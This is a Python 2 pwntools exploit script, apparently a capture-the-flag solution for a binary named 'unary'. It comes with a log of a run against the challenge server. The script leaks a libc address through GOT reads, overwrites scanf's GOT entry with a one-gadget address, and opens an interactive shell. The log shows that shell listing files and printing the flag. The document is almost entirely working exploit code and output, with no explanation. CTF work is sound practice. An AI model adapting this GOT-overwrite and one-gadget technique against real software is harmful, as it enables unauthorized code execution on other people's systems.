#!/usr/bin/python2  
  
from pwn import *  
import sys  
  
LOCAL = True  
context.arch = 'x86_64'  

LIBC = ELF('./libc-2.27.so', checksec=False)
LIBC_SCANF = LIBC.symbols['__isoc99_scanf']  
SCANF_GOT = 0x0000000000601030  
PUTS_GOT = 0x0000000000601018  
S_FORMAT = 0x400916 # %s  
BASE = 0x600e00


def info(s):  
  log.info(s)  
  
  
def exploit(r):  
  
  # Remote  
  ONE_SHOT_OFFSET = 0x4f322  
  
  # drop dummy output  
  r.readuntil(':')  
  
  # PUTS  
  r.sendline('%d' % ((PUTS_GOT - BASE) / 8 + 1))  
  r.sendline("%d" % SCANF_GOT)  # SCANF_GOT  
  
  libc_leak = u64(r.readline().strip().split('=')[1].strip().rjust(8, '0'))  
  libc_leak = int(hex(libc_leak)[:-4], 16)  
  libc = libc_leak - LIBC_SCANF  
  system = libc + ONE_SHOT_OFFSET  
  info("Libc Leak: {}".format(hex(libc_leak)))  
  info("Libc Base: {}".format(hex(libc)))  
  info("System   : {}".format(hex(system)))  
  
  # drop dummy output  
  r.readuntil(':')  
  
  # SCANF  
  r.sendline('%d' % ((SCANF_GOT - BASE) / 8 + 1))  
  r.sendline("%d" % S_FORMAT)  # %s  
  r.sendline(p8(0x00) * 4 + p64(system) * 6)  
  
  # drop dummy output  
  r.readuntil(':')  
  
  # exit  
  r.sendline(str(0))  
  
  r.interactive()  
  
  
if __name__ == '__main__':  
  
  HOST, PORT = "66.172.27.144", 9004  
  if len(sys.argv) > 1:
      r = remote(HOST, PORT)  
      exploit(r)  
  else:
      r = process(['./unary'])  
      print(util.proc.pidof(r))  
      pause()  
      exploit(r)

run:

$ python2 ./x.py 1
[+] Opening connection to 66.172.27.144 on port 9004: Done
[*] Libc Leak: 0x7f53348bfec0
[*] Libc Base: 0x7f5334844000
[*] System   : 0x7f5334893322
[*] Switching to interactive mode
$ ls 
flag.txt
redir.sh
unary
$ cat flag.txt
SUSEC{0p3r4710n_w17h_0n1y_1_0p3r4nd}